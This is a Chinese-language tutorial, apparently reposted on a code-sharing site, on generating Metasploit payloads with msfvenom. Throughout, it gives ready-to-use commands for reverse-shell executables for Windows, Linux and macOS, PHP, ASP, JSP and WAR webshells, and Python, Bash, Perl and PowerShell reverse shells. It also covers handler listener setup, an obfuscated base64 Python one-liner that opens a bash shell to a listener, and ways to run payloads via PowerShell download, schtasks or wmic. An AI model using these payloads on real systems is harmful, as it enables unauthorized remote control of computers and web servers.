生成常用的msf


生成msf常用payload

msf作為一款強大的漏洞檢測工具,如何生成適用於msf的payload以及如何利用是使用msf的關鍵,今天就主要記錄一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的幫助信息。

在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:

msfvenom -l

1.jpg

生成二進制文件

關於二進制文件,主要介紹適用於Windows、linux、mac操作系統的payload生成與利用。

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

如何利用

針對這個部分就以Windows為例,使用上面的命令生成一個exe的payload,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe > shell.exe

2.jpg

復制shell.exe到Windows機器,然后kali下開啟msf使用如下命令監聽4444端口:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.88.128

set LPORT 4444

set ExitOnSession false

exploit -j -z

執行完之后在Windows下執行shell.exe,然后結果如圖:

3.jpg

在這里既然使用到了在Windows下執行應用程序,我們就大概盤點一下在Windows執行應用程序的幾種方式:

  • 雙擊運行
  • cmd下運行exe
  • 利用Powershell遠程下載執行
  • 利用at或schtasks設置計划任務執行
  • 利用wmic遠程命令執行

生成webshell腳本

在做web滲透的時候,經常會用到webshell,我們經常用的一句話用菜刀連接,如何使用MSFVenom生成一個可以用msf操作的webshell呢?

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d 'n' > shell.php && pbpaste >> shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp

JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war

如何利用

下面以php為例做一下測試,使用以下命令生成一個webshell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php

在kali上使用msf執行下面的命令,監聽端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST 192.168.88.128

set LPORT 4444

set ExitOnSession false

exploit -j -z

將shell.php放在web目錄下,使用瀏覽器訪問,或者使用以下命令執行:

php shell.php

4.jpg

腳本shell

關於使用腳本反彈shell的方式,主要以python、bash、perl為例。

Python

msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

Powershell

msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f psh > shell.ps1

powershell.exe -ExecutionPolicy Bypass -File shell.ps1

如何使用

下面就以Python為例做一下測試,使用以下命令生成一個腳本:

msfvenom -p cmd/unix/reverse_python LHOST=192.168.88.128 LPORT=4444 -f raw > shell.py

在kali上使用msf執行下面的命令,監聽端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST 192.168.88.128

set LPORT 4444

set ExitOnSession false

exploit -j -z

然后復制shell.py中的內容在linux命令行下執行,如下:

python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"

結果如圖:

5.jpg

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM